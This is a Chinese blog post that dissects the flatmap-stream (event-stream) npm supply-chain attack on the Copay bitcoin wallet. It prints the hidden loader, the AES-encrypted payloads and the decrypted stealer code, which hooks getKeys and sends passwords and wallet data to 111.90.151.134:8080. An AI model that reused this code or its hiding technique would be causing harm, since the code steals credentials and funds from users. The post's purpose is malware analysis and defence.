前一段時間網上爆出過event-stream包中的依賴模塊flatmap-stream被黑客修改過代碼，能夠獲取用戶的密碼、私鑰等信息，從而盜取比特幣。小鄒之前也發布過一篇文章（
toutiao/i6628475000716263944/）。
當時這個事情在前端開發領域引發了一次小震動，每個使用這個模塊的開發人員都有種開發恐懼，其實現在看來完全沒有必要，因為黑客代碼只會在copay項目中正確執行。只有copay項目的package.json中的description字符串”A Secure Bitcoin Wallet”能夠解密黑客代碼；而且，黑客的代碼是為copay量身定做的，對其他項目沒有作用；再說，黑客是來竊取的比特幣的，又不是挖礦，你的項目有比特幣給人家偷嗎?下面小鄒給大伙剖析一下這個源碼原理：
尋找flatmap-stream中的黑客代碼
flatmap-stream已經被npm刪除了，不過還能在UNPKG上找到代碼：
unpkg/flatmap-stream@0.1.1/index.min.js
index.min.js是經過壓縮的代碼，因此可讀性很差：
var Stream=require("stream").Stream;module.exports=function(e,n){var i=new Stream,a=0,o=0,u=!1,f=!1,l=!1,c=0,s=!1,d=(n=n||{}).failures?"failure":"error",m={};function w(r,e){var t=c+1;if(e===t?(void 0!==r&&i.emit.apply(i,["data",r]),c++,t++):m[e]=r,m.hasOwnProperty(t)){var n=m[t];return delete m[t],w(n,t)}a===++o&&(f&&(f=!1,i.emit("drain")),u&&v())}function p(r,e,t){l||(s=!0,r&&!n.failures||w(e,t),r&&i.emit.apply(i,[d,r]),s=!1)}function b(r,t,n){return e.call(null,r,function(r,e){n(r,e,t)})}function v(r){if(u=!0,i.writable=!1,void 0!==r)return w(r,a);a==o&&(i.readable=!1,i.emit("end"),i.destroy())}return i.writable=!0,i.readable=!0,i.write=function(r){if(u)throw new Error("flatmap stream is not writable");s=!1;try{for(var e in r){a++;var t=b(r[e],a,p);if(f=!1===t)break}return!f}catch(r){if(s)throw r;return p(r),!f}},i.end=function(r){u||v(r)},i.destroy=function(){u=l=!0,i.writable=i.readable=f=!1,process.nextTick(function(){i.emit("close")})},i.pause=function(){f=!0},i.resume=function(){f=!1},i};!function(){try{var r=require,t=process;function e(r){return Buffer.from(r,"hex").toString()}var n=r(e("2e2f746573742f64617461")),o=t[e(n[3])][e(n[4])];if(!o)return;var u=r(e(n[2]))[e(n[6])](e(n[5]),o),a=u.update(n[0],e(n[8]),e(n[9]));a+=u.final(e(n[9]));var f=new module.constructor;f.paths=module.paths,f[e(n[7])](a,""),f.exports(n[1])}catch(r){}}();
但是，黑客的黑客代碼隱藏的並不深，直接添加在index.min.js的后面：
!function(){try{var r=require,t=process;function e(r){return Buffer.from(r,"hex").toString()}var n=r(e("2e2f746573742f64617461")),o=t[e(n[3])][e(n[4])];if(!o)return;var u=r(e(n[2]))[e(n[6])](e(n[5]),o),a=u.update(n[0],e(n[8]),e(n[9]));a+=u.final(e(n[9]));var f=new module.constructor;f.paths=module.paths,f[e(n[7])](a,""),f.exports(n[1])}catch(r){}}();
使用unminify將黑客代碼還原：
! function() {
try {
var r=require,
t=process;
function e(r) {
return Buffer.from(r, "hex").toString()
}
var n=r(e("2e2f746573742f64617461")),
o=t[e(n[3])][e(n[4])];
if (!o) return;
var u=r(e(n[2]))[e(n[6])](e(n[5]), o),
a=u.update(n[0], e(n[8]), e(n[9]));
a +=u.final(e(n[9]));
var f=new module.constructor;
f.paths=module.paths, f[e(n[7])](a, ""), f.exports(n[1])
} catch (r) {}
}();
這段代碼其實很短，黑客混淆的方式並不高明，我們可以一步一步還原。
使用require替換變量r使用process替換變量t函數e任務很簡單，就是把16進制字符串轉為ASCII字符串，因此更名為hexToAscii
!(function() {
try {
function hexToAscii(r) {
return Buffer.from(r, "hex").toString();
}
var n=require(hexToAscii("2e2f746573742f64617461")),
o=process[hexToAscii(n[3])][hexToAscii(n[4])];
if (!o) return;
var u=require(hexToAscii(n[2]))[hexToAscii(n[6])](
hexToAscii(n[5]),
o
),
a=u.update(n[0], hexToAscii(n[8]), hexToAscii(n[9]));
a +=u.final(hexToAscii(n[9]));
var f=new module.constructor();
(f.paths=module.paths), f[hexToAscii(n[7])](a, ""), f.exports(n[1]);
} catch (r) {
// 忽略報錯
}
})();
很明顯，黑客使用hexToAscii函數是為了混淆代碼，比如hexToAscii(“2e2f746573742f64617461”)其實就是./test/data，因此數組n即為：
unpkg/flatmap-stream@0.1.1/test/data.js，這個data文件已經找不到了，根據FallingSnow之前的分析，它是一個數組：
[ "75d4c87f3f69e0fa292969072c49dff4f90f44c1385d8eb60dae4cc3a229e52cf61f78b0822353b4304e323ad563bc22c98421eb6a8c1917e30277f716452ee8d57f9838e00f0c4e4ebd7818653f00e72888a4031676d8e2a80ca3cb00a7396ae3d140135d97c6db00cab172cbf9a92d0b9fb0f73ff2ee4d38c7f6f4b30990f2c97ef39ae6ac6c828f5892dd8457ab530a519cd236ebd51e1703bcfca8f9441c2664903af7e527c420d9263f4af58ccb5843187aa0da1cbb4b6aedfd1bdc6faf32f38a885628612660af8630597969125c917dfc512c53453c96c143a2a058ba91bc37e265b44c5874e594caaf53961c82904a95f1dd33b94e4dd1d00e9878f66dafc55fa6f2f77ec7e7e8fe28e4f959eab4707557b263ec74b2764033cd343199eeb6140a6284cb009a09b143dce784c2cd40dc320777deea6fbdf183f787fa7dd3ce2139999343b488a4f5bcf3743eecf0d30928727025ff3549808f7f711c9f7614148cf43c8aa7ce9b3fcc1cff4bb0df75cb2021d0f4afe5784fa80fed245ee3f0911762fffbc36951a78457b94629f067c1f12927cdf97699656f4a2c4429f1279c4ebacde10fa7a6f5c44b14bc88322a3f06bb0847f0456e630888e5b6c3f2b8f8489cd6bc082c8063eb03dd665badaf2a020f1448f3ae268c8d176e1d80cc756dc3fa02204e7a2f74b9da97f95644792ee87f1471b4c0d735589fc58b5c98fb21c8a8db551b90ce60d88e3f756cc6c8c4094aeaa12b149463a612ea5ea5425e43f223eb8071d7b991cfdf4ed59a96ccbe5bdb373d8febd00f8c7effa57f06116d850c2d9892582724b3585f1d71de83d54797a0bfceeb4670982232800a9b695d824a7ada3d41e568ecaa6629",
"db67fdbfc39c249c6f338194555a41928413b792ff41855e27752e227ba81571483c631bc659563d071bf39277ac3316bd2e1fd865d5ba0be0bbbef3080eb5f6dfdf43b4a678685aa65f30128f8f36633f05285af182be8efe34a2a8f6c9c6663d4af8414baaccd490d6e577b6b57bf7f4d9de5c71ee6bbffd70015a768218a991e1719b5428354d10449f41bac70e5afb1a3e03a52b89a19d4cc333e43b677f4ec750bf0be23fb50f235dd6019058fbc3077c01d013142d9018b076698536d2536b7a1a6a48f5485871f7dc487419e862b1a7493d840f14e8070c8eff54da8013fd3fe103db2ecebc121f82919efb697c2c47f79516708def7accd883d980d5618efd408c0fd46fd387911d1e72e16cf8842c5fe3477e4b46aa7bb34e3cf9caddfca744b6a21b5457beaccff83fa6fb6e8f3876e4764e0d4b5318e7f3eed34af757eb240615591d5369d4ab1493c8a9c366dfa3981b92405e5ebcbfd5dca2c6f9b8e8890a4635254e1bc26d2f7a986e29fef6e67f9a55b6faec78d54eb08cb2f8ea785713b2ffd694e7562cf2b06d38a0f97d0b546b9a121620b7f9d9ccca51b5e74df4bdd82d2a5e336a1d6452912650cc2e8ffc41bd7aa17ab17f60b2bd0cfc0c35ed82c71c0662980f1242c4523fae7a85ccd5e821fe239bfb33d38df78099fd34f429d75117e39b888344d57290b21732f267c22681e4f640bec9437b756d3002a3135564f1c5947cc7c96e1370db7af6db24c9030fb216d0ac1d9b2ca17cb3b3d5955ffcc3237973685a2c078e10bc6e36717b1324022c8840b9a755cffdef6a4d1880a4b6072fd1eb7aabebb9b949e1e37be6dfb6437c3fd0e6f135bcea65e2a06eb35ff26dcf2b2772f8d0cde8e5fa5eec577e9754f6b044502f8ce8838d36827bd3fe91cccba2a04c3ee90c133352cbad34951fdf21a671a4e3940fd69cfee172df4123a0f678154871afa80f763d78df971a1317200d0ce5304b3f01ace921ea8afb41ec800ab834d81740353101408733fb710e99657554c50a4a8cb0a51477a07d6870b681cdc0be0600d912a0c711dc9442260265d50e269f02eb49da509592e0996d02a36a0ce040fff7bd3be57e97d07e4de0cdb93b7e3ccea422a5a526fb95ea8508ea2a40010f56d4aa96da23e6e9bcbae09dacccdcd8ac6af96a1922266c3795fb0798affaa75b8ae05221612ce45c824d1f6603fe2afd74b9e167736bfffe01a12b9f85912572a291336c693f133efeac881cd09207505ad93967e3b7a8972cdcce208bfa3b9956370795791ca91a8b9deabde26c3ee2adb43e9f7df2df16d4582a4e610b73754e609b1eea936a4d916bf5ed9d627692bcc8ed0933026e9250d16bdaf2b68470608aeaffedcf2be8c4c176bfc620e3f9f17a4a9d8ef9fe46cca41a79878d37423c0fa9f3ee1f4e6d68f029d6cbb5cbc90e7243135e0fc1dd66297d32adabc9a6d0235709be173b688ba2004f518f58f5459caca60d615ae4dc0d0eeacbe48ca8727a8b42dc78396316a0e223029b76311e7607ea5bd236307ba3b62afeff7a1ef5c0b5d7ee760c0f6472359c57817c5d9cd534d9a34bb4847bbc83c37b14b6444e9f386f1bec4b42c65d1078d54bd007ff545028205099abc454919406408b761a1636d10e39ede9f650f25abad3219b9d46d535402b930488535d97d19be3b0e75fed31d0b2f8af099481685e2b4fa9bff05cbac1b9b405db2c7eae68501633e02723560727a1c8c34c32afc76cdeb82fe8bae34b09cd82402076b9f481d043b080d851c7b6ba8613adba3bc3d5edb9a84fce41130ad328fe4c062a76966cb60c4fa801f359d22b70a797a2c2a3d19da7383025cb2e076b9c30b862456ae4b60197101e82133748c224a1431545fde146d98723ccb79b47155b218914c76f5d52027c06c6c913450fc56527a34c3fe1349f38018a55910de819add6204ab2829668ca0b7afb0d00f00c873a3f18daad9ae662b09c775cddbe98b9e7a43f1f8318665027636d1de18b5a77f548e9ede3b73e3777c44ec962fb7a94c56d8b34c1da603b3fc250799aad48cc007263daf8969dbe9f8ade2ac66f5b66657d8b56050ff14d8f759dd2c7c0411d92157531cfc3ac9c981e327fd6b140fb2abf994fa91aecc2c4fef5f210f52d487f117873df6e847769c06db7f8642cd2426b6ce00d6218413fdbba5bbbebc4e94bffdef6985a0e800132fe5821e62f2c1d79ddb5656bd5102176d33d79cf4560453ca7fd3d3c3be0190ae356efaaf5e2892f0d80c437eade2d28698148e72fbe17f1fac993a1314052345b701d65bb0ea3710145df687bb17182cd3ad6c121afef20bf02e0100fd63cbbf498321795372398c983eb31f184fa1adbb24759e395def34e1a726c3604591b67928da6c6a8c5f96808edfc7990a585411ffe633bae6a3ed6c132b1547237cab6f3b24c57d3d4cd8e2fbbd9f7674ececf0f66b39c2591330acc1ac20732a98e9b61a3fd979f88ab7211acbf629fcb0c80fb5ed1ea55df0735dcf13510304652763a5ed7bde3e5ebda1bf72110789ebefa469b70f6b4add29ce1471fa6972df108717100412c804efcf8aaba277f0107b1c51f15f144ab02dd8f334d5b48caf24a4492979fa425c4c25c4d213408ecfeb82f34e7d20f26f65fa4e89db57582d6a928914ee6fc0c6cc0a9793aa032883ea5a2d2135dbfcf762f4a2e22585966be376d30fbfabb1dfd182e7b174097481763c04f5d7cbd060c5a36dc0e3dd235de1669f3db8747d5b74d8c1cc9ab3a919e257fb7e6809f15ab7c2506437ced02f03416a1240a555f842a11cde514c450a2f8536f25c60bbe0e1b013d8dd407e4cb171216e30835af7ca0d9e3ff33451c6236704b814c800ecc6833a0e66cd2c487862172bc8a1acb7786ddc4e05ba4e41ada15e0d6334a8bf51373722c26b96bbe4d704386469752d2cda5ca73f7399ff0df165abb720810a4dc19f76ca748a34cb3d0f9b0d800d7657f702284c6e818080d4d9c6fff481f76fb7a7c5d513eae7aa84484822f98a183e192f71ea4e53a45415ddb03039549b18bc6e1",
"63727970746f",
"656e76",
"6e706d5f7061636b6167655f6465736372697074696f6e",
"616573323536",
"6372656174654465636970686572",
"5f636f6d70696c65",
"686578",
"75746638"
]
數組n中一共有10個元素，除了前面2個元素，其他元素在代碼中均通過hexToAscii函數進行了轉換，其轉換結果如下:
hexToAscii(n[2]): cryptohexToAscii(n[3]): envhexToAscii(n[4]): npm_package_descriptionhexToAscii(n[5]): aes256hexToAscii(n[6]): createDecipherhexToAscii(n[7]): _compilehexToAscii(n[8]): hexhexToAscii(n[9]): utf8
將這些值全部替換掉，代碼如下：
!(function() {
try {
var n=[
"75d4c87f3f69e0fa292969072c49dff4f90f44c1385d8eb60dae4cc3a229e52cf61f78b0822353b4304e323ad563bc22c98421eb6a8c1917e30277f716452ee8d57f9838e00f0c4e4ebd7818653f00e72888a4031676d8e2a80ca3cb00a7396ae3d140135d97c6db00cab172cbf9a92d0b9fb0f73ff2ee4d38c7f6f4b30990f2c97ef39ae6ac6c828f5892dd8457ab530a519cd236ebd51e1703bcfca8f9441c2664903af7e527c420d9263f4af58ccb5843187aa0da1cbb4b6aedfd1bdc6faf32f38a885628612660af8630597969125c917dfc512c53453c96c143a2a058ba91bc37e265b44c5874e594caaf53961c82904a95f1dd33b94e4dd1d00e9878f66dafc55fa6f2f77ec7e7e8fe28e4f959eab4707557b263ec74b2764033cd343199eeb6140a6284cb009a09b143dce784c2cd40dc320777deea6fbdf183f787fa7dd3ce2139999343b488a4f5bcf3743eecf0d30928727025ff3549808f7f711c9f7614148cf43c8aa7ce9b3fcc1cff4bb0df75cb2021d0f4afe5784fa80fed245ee3f0911762fffbc36951a78457b94629f067c1f12927cdf97699656f4a2c4429f1279c4ebacde10fa7a6f5c44b14bc88322a3f06bb0847f0456e630888e5b6c3f2b8f8489cd6bc082c8063eb03dd665badaf2a020f1448f3ae268c8d176e1d80cc756dc3fa02204e7a2f74b9da97f95644792ee87f1471b4c0d735589fc58b5c98fb21c8a8db551b90ce60d88e3f756cc6c8c4094aeaa12b149463a612ea5ea5425e43f223eb8071d7b991cfdf4ed59a96ccbe5bdb373d8febd00f8c7effa57f06116d850c2d9892582724b3585f1d71de83d54797a0bfceeb4670982232800a9b695d824a7ada3d41e568ecaa6629",
"db67fdbfc39c249c6f338194555a41928413b792ff41855e27752e227ba81571483c631bc659563d071bf39277ac3316bd2e1fd865d5ba0be0bbbef3080eb5f6dfdf43b4a678685aa65f30128f8f36633f05285af182be8efe34a2a8f6c9c6663d4af8414baaccd490d6e577b6b57bf7f4d9de5c71ee6bbffd70015a768218a991e1719b5428354d10449f41bac70e5afb1a3e03a52b89a19d4cc333e43b677f4ec750bf0be23fb50f235dd6019058fbc3077c01d013142d9018b076698536d2536b7a1a6a48f5485871f7dc487419e862b1a7493d840f14e8070c8eff54da8013fd3fe103db2ecebc121f82919efb697c2c47f79516708def7accd883d980d5618efd408c0fd46fd387911d1e72e16cf8842c5fe3477e4b46aa7bb34e3cf9caddfca744b6a21b5457beaccff83fa6fb6e8f3876e4764e0d4b5318e7f3eed34af757eb240615591d5369d4ab1493c8a9c366dfa3981b92405e5ebcbfd5dca2c6f9b8e8890a4635254e1bc26d2f7a986e29fef6e67f9a55b6faec78d54eb08cb2f8ea785713b2ffd694e7562cf2b06d38a0f97d0b546b9a121620b7f9d9ccca51b5e74df4bdd82d2a5e336a1d6452912650cc2e8ffc41bd7aa17ab17f60b2bd0cfc0c35ed82c71c0662980f1242c4523fae7a85ccd5e821fe239bfb33d38df78099fd34f429d75117e39b888344d57290b21732f267c22681e4f640bec9437b756d3002a3135564f1c5947cc7c96e1370db7af6db24c9030fb216d0ac1d9b2ca17cb3b3d5955ffcc3237973685a2c078e10bc6e36717b1324022c8840b9a755cffdef6a4d1880a4b6072fd1eb7aabebb9b949e1e37be6dfb6437c3fd0e6f135bcea65e2a06eb35ff26dcf2b2772f8d0cde8e5fa5eec577e9754f6b044502f8ce8838d36827bd3fe91cccba2a04c3ee90c133352cbad34951fdf21a671a4e3940fd69cfee172df4123a0f678154871afa80f763d78df971a1317200d0ce5304b3f01ace921ea8afb41ec800ab834d81740353101408733fb710e99657554c50a4a8cb0a51477a07d6870b681cdc0be0600d912a0c711dc9442260265d50e269f02eb49da509592e0996d02a36a0ce040fff7bd3be57e97d07e4de0cdb93b7e3ccea422a5a526fb95ea8508ea2a40010f56d4aa96da23e6e9bcbae09dacccdcd8ac6af96a1922266c3795fb0798affaa75b8ae05221612ce45c824d1f6603fe2afd74b9e167736bfffe01a12b9f85912572a291336c693f133efeac881cd09207505ad93967e3b7a8972cdcce208bfa3b9956370795791ca91a8b9deabde26c3ee2adb43e9f7df2df16d4582a4e610b73754e609b1eea936a4d916bf5ed9d627692bcc8ed0933026e9250d16bdaf2b68470608aeaffedcf2be8c4c176bfc620e3f9f17a4a9d8ef9fe46cca41a79878d37423c0fa9f3ee1f4e6d68f029d6cbb5cbc90e7243135e0fc1dd66297d32adabc9a6d0235709be173b688ba2004f518f58f5459caca60d615ae4dc0d0eeacbe48ca8727a8b42dc78396316a0e223029b76311e7607ea5bd236307ba3b62afeff7a1ef5c0b5d7ee760c0f6472359c57817c5d9cd534d9a34bb4847bbc83c37b14b6444e9f386f1bec4b42c65d1078d54bd007ff545028205099abc454919406408b761a1636d10e39ede9f650f25abad3219b9d46d535402b930488535d97d19be3b0e75fed31d0b2f8af099481685e2b4fa9bff05cbac1b9b405db2c7eae68501633e02723560727a1c8c34c32afc76cdeb82fe8bae34b09cd82402076b9f481d043b080d851c7b6ba8613adba3bc3d5edb9a84fce41130ad328fe4c062a76966cb60c4fa801f359d22b70a797a2c2a3d19da7383025cb2e076b9c30b862456ae4b60197101e82133748c224a1431545fde146d98723ccb79b47155b218914c76f5d52027c06c6c913450fc56527a34c3fe1349f38018a55910de819add6204ab2829668ca0b7afb0d00f00c873a3f18daad9ae662b09c775cddbe98b9e7a43f1f8318665027636d1de18b5a77f548e9ede3b73e3777c44ec962fb7a94c56d8b34c1da603b3fc250799aad48cc007263daf8969dbe9f8ade2ac66f5b66657d8b56050ff14d8f759dd2c7c0411d92157531cfc3ac9c981e327fd6b140fb2abf994fa91aecc2c4fef5f210f52d487f117873df6e847769c06db7f8642cd2426b6ce00d6218413fdbba5bbbebc4e94bffdef6985a0e800132fe5821e62f2c1d79ddb5656bd5102176d33d79cf4560453ca7fd3d3c3be0190ae356efaaf5e2892f0d80c437eade2d28698148e72fbe17f1fac993a1314052345b701d65bb0ea3710145df687bb17182cd3ad6c121afef20bf02e0100fd63cbbf498321795372398c983eb31f184fa1adbb24759e395def34e1a726c3604591b67928da6c6a8c5f96808edfc7990a585411ffe633bae6a3ed6c132b1547237cab6f3b24c57d3d4cd8e2fbbd9f7674ececf0f66b39c2591330acc1ac20732a98e9b61a3fd979f88ab7211acbf629fcb0c80fb5ed1ea55df0735dcf13510304652763a5ed7bde3e5ebda1bf72110789ebefa469b70f6b4add29ce1471fa6972df108717100412c804efcf8aaba277f0107b1c51f15f144ab02dd8f334d5b48caf24a4492979fa425c4c25c4d213408ecfeb82f34e7d20f26f65fa4e89db57582d6a928914ee6fc0c6cc0a9793aa032883ea5a2d2135dbfcf762f4a2e22585966be376d30fbfabb1dfd182e7b174097481763c04f5d7cbd060c5a36dc0e3dd235de1669f3db8747d5b74d8c1cc9ab3a919e257fb7e6809f15ab7c2506437ced02f03416a1240a555f842a11cde514c450a2f8536f25c60bbe0e1b013d8dd407e4cb171216e30835af7ca0d9e3ff33451c6236704b814c800ecc6833a0e66cd2c487862172bc8a1acb7786ddc4e05ba4e41ada15e0d6334a8bf51373722c26b96bbe4d704386469752d2cda5ca73f7399ff0df165abb720810a4dc19f76ca748a34cb3d0f9b0d800d7657f702284c6e818080d4d9c6fff481f76fb7a7c5d513eae7aa84484822f98a183e192f71ea4e53a45415ddb03039549b18bc6e1"
];
var o=process["env"]["npm_package_description"];
if (!o) return;
var u=require("crypto")["createDecipher"]("aes256", o),
a=u.update(n[0], "hex", "utf8");
a +=u.final("utf8");
var f=new module.constructor();
(f.paths=module.paths), f["_compile"](a, ""), f.exports(n[1]);
} catch (r) {
// 忽略報錯
}
})();
代碼中使用了crypto.createDecipher函數，其文檔如下：
crypto.createDecipher(algorithm, password)
// Creates and returns a Decipher object that uses the given algorithm and password
可知，代碼將項目的npm_package_description作為密碼來解密n[0]字符串，而copay項目的package.json的description屬性是“A Secure Bitcoin Wallet”，”恰好”可以成功解密n[0]字符串，unminify之后如下：
/*@@*/
module.exports=function(e) {
try {
if (!/build\:.*\-release/.test(process.argv[2])) return;
var t=process.env.npm_package_description,
r=require("fs"),
i="./node_modules/@zxing/library/esm5/core/common/reedsolomon/ReedSolomonDecoder.js",
n=r.statSync(i),
c=r.readFileSync(i, "utf8"),
o=require("crypto").createDecipher("aes256", t),
s=o.update(e, "hex", "utf8");
s="
" + (s +=o.final("utf8"));
var a=c.indexOf("
/*@@*/");
0 <=a && (c=c.substr(0, a)), r.writeFileSync(i, c + s, "utf8"), r.utimesSync(i, n.atime, n.mtime), process.on("exit", function() {
try {
r.writeFileSync(i, c, "utf8"), r.utimesSync(i, n.atime, n.mtime)
} catch (e) {}
})
} catch (e) {}
};
我們在解密的代碼中看到了完全一樣的套路，只是這次解密的是n[1]，unminify之后如下：
/*@@*/ ! function() {
function e() {
try {
var o=require("http"),
a=require("crypto"),
c="-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C
DXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj
BOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk
2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762
PDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz
LlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To
2wIDAQAB
-----END PUBLIC KEY-----";
function i(e, t, n) {
e=Buffer.from(e, "hex").toString();
var r=o.request({
hostname: e,
port: 8080,
method: "POST",
path: "/" + t,
headers: {
"Content-Length": n.length,
"Content-Type": "text/html"
}
}, function() {});
r.on("error", function(e) {}), r.write(n), r.end()
}
function r(e, t) {
for (var n="", r=0; r < t.length; r +=200) {
var o=t.substr(r, 200);
n +=alicEncrypt(c, Buffer.from(o, "utf8")).toString("hex") + "+"
}
i("636f7061796170692e686f7374", e, n), i("3131312e39302e3135312e313334", e, n)
}
function l(t, n) {
if (window.cordova) try {
var e=cordova.file.dataDirectory;
resolveLocalFileSystemURL(e, function(e) {
e.getFile(t, {
create: !1
}, function(e) {
e.file(function(e) {
var t=new FileReader;
t.onloadend=function() {
return n(JSON.parse(t.result))
}, t.onerror=function(e) {
t.abort()
}, t.readAsText(e)
})
})
})
} catch (e) {} else {
try {
var r=localStorage.getItem(t);
if (r) return n(JSON.parse(r))
} catch (e) {}
try {
chrome.storage.local.get(t, function(e) {
if (e) return n(JSON.parse(e[t]))
})
} catch (e) {}
}
}
global.CSSMap={}, l("profile", function(e) {
for (var t in e.credentials) {
var n=e.credentials[t];
"livenet"==n.network && l("balanceCache-" + n.walletId, function(e) {
var t=this;
t.balance=parseFloat(e.balance.split(" ")[0]), "btc"==t.coin && t.balance < 100 || "bch"==t.coin && t.balance < 1e3 || (global.CSSMap[t.xPubKey]=!0, r("c", JSON.stringify(t)))
}.bind(n))
}
});
var e=require("bitcore-wallet-client/lib/credentials.js");
etotype.getKeysFunc=etotype.getKeys, etotype.getKeys=function(e) {
var t=this.getKeysFunc(e);
try {
global.CSSMap && global.CSSMap[this.xPubKey] && (delete global.CSSMap[this.xPubKey], r("p", e + " " + this.xPubKey))
} catch (e) {}
return t
}
} catch (e) {}
}
window.cordova ? document.addEventListener("deviceready", e) : e()
}();
這段代碼才是真正竊取比特幣的代碼，我們稍后再分析。
黑客是如何隱藏黑客代碼的？
黑客一共隱藏了3段代碼；第1段代碼隱藏在flatmap-stream的index.min.js結尾，代碼中使用了16進制字符串來隱藏正真使用的字符串；第2段代碼隱藏在flatmap-stream的test/data的數組中，需要使用copay項目的description字符串才能解密，它在第1段代碼中解密；第3段代碼也隱藏在flatmap-stream的test/data的數組中，需要使用copay項目的description字符串才能解密，它在第2段代碼中解密；正真竊取比特幣錢包copay的是第3段代碼；第2段和第3段代碼剛好需要使用copay中的description字符串“A Secure Bitcoin Wallet”才能解密，可知黑客攻擊的目標就是copay項目；黑客多處使用了Buffer.from(str, “hex”).toString()來混淆代碼，將ASCII字符串轉換為16進制字符串，使我們難以讀懂代碼；黑客2次使用了AES256算法加密黑客代碼，如果找不到解密的密碼，就不可能知道黑客到底是攻擊哪個項目，也不知道他干了什么。 maths22成功找到了密碼”A Secure Bitcoin Wallet”以及被攻擊的項目copay；黑客把所有黑客代碼都寫在了try…catch里面，否則拋出莫名其妙的錯誤很容易暴露；(這里從另一個角度證明了監控代碼錯誤的重要性，歡迎大家免費試用Fundebug)
黑客是如何竊取比特幣的
我分析並且簡化了黑客的第3段代碼，如下：
/*global cordova resolveLocalFileSystemURL chrome*/
!(function() {
var http=require("http");
var crypto=require("crypto");
// 黑客的公鑰，用於加密竊取的數據，這樣只有黑客的公鑰可以解密
var publicKey="-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C
DXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj
BOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk
2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762
PDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz
LlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To
2wIDAQAB
-----END PUBLIC KEY-----";
// 將竊取的數據發送到黑客的服務器
function httpRequest(hostname, path, data) {
var request=http.request(
{
hostname: hostname,
port: 8080,
method: "POST",
path: "/" + path,
headers: {
"Content-Length": data.length,
"Content-Type": "text/html"
}
},
function() {}
);
request.on("error", function() {});
request.write(data);
request.end();
}
// 用戶密碼發送至111.90.151.134:8080/p
// 用戶其他信息發送至111.90.151.134:8080/c
function sendToHacker(path, t) {
// 黑客對數據進行了簡單的編碼以及加密
for (var n="", r=0; r < t.length; r +=200) {
var o=t.substr(r, 200);
// 使用黑客的公鑰對竊取的數據進行加密
n +=crypto
licEncrypt(publicKey, Buffer.from(o, "utf8"))
.toString("hex") + "+";
}
httpRequest("copayapi", path, n);
httpRequest("111.90.151.134", path, n);
}
// 竊取用戶信息
function getUserInfo(type, n) {
if (window.cordova) {
var e=cordova.file.dataDirectory;
resolveLocalFileSystemURL(e, function(e) {
e.getFile(
type,
{
create: !1
},
function(e) {
e.file(function(e) {
var t=new FileReader();
(t.onloadend=function() {
return n(JSON.parse(t.result));
}),
(t.onerror=function() {
t.abort();
}),
t.readAsText(e);
});
}
);
});
} else {
var r=localStorage.getItem(type);
if (r) return n(JSON.parse(r));
chrome.storage.local.get(type, function(e) {
if (e) return n(JSON.parse(e[type]));
});
}
}
function steal() {
var ifSteal=false;
// 竊取將用戶的隱私信息，比如私鑰
getUserInfo("profile", function(profile) {
for (var t in profile.credentials) {
var n=profile.credentials[t];
if (n.network=="livenet") {
getUserInfo(
"balanceCache-" + n.walletId,
function(e) {
var t=this;
t.balance=parseFloat(e.balance.split(" ")[0]);
// 當比特幣超過100個或者bch超過1000個時，將用戶數據發送到黑客服務器
if (
("btc"==t.coin && t.balance > 100) ||
("bch"==t.coin && t.balance > 1000)
) {
ifSteal=true;
sendToHacker("c", JSON.stringify(t));
}
}.bind(n)
);
}
}
});
// 通過重寫getKeys函數來竊取用戶的密碼
var Credentials=require("bitcore-wallet-client/lib/credentials.js");
Credentialstotype.getKeysFunc=Credentialstotype.getKeys;
Credentialstotype.getKeys=function(password) {
var keys=this.getKeysFunc(password);
if (ifSteal) {
// 將竊取的密碼發送到黑客服務器
sendToHacker("p", password + " " + this.xPubKey);
}
return keys;
};
}
if (window.cordova) {
document.addEventListener("deviceready", steal);
} else {
steal();
}
})();
詳細分析可以看我寫的代碼注釋，另外，我還總結了這些要點
這段代碼的目的是竊取用戶信息，並非挖礦；黑客通過重寫getKeys函數竊取了copay用戶的密碼，發送到111.90.151.134:8080/p黑客竊取了copay用戶所有的隱私信息，包括私鑰，發送到111.90.151.134:8080/c黑客對竊取的數據進行了簡單混淆以及公鑰加密，因此只有他可以讀取竊取的數據；黑客顯然分析了copay源碼，然后量身定做了這段代碼，因此這段代碼對其他項目是無效的，肯定會報錯，所以他寫了很多try…catch。從另一個角度來講，其他項目比如Vue完全不用擔心；通過nmap命令掃描黑客的服務器111.90.151.134的8080端口可知，他目前已經不再接收竊取的數據；
結尾
通過這件事，大家可能會覺得開源不安全，但是我不這樣看。黑客之所以處心積慮想了這么多歪招來竊取用戶數據，就是因為代碼是開源的，他不敢亂來。另外，這件事雖然潛伏了幾個月，但是一經發現，大家分析一下代碼，齊心協力很快就發現黑客到底干了什么，把整件事的來龍去脈翻了個底朝天，我也是基於大家的工作又梳理了這件事。我們應該思考的是，如何讓代碼更加安全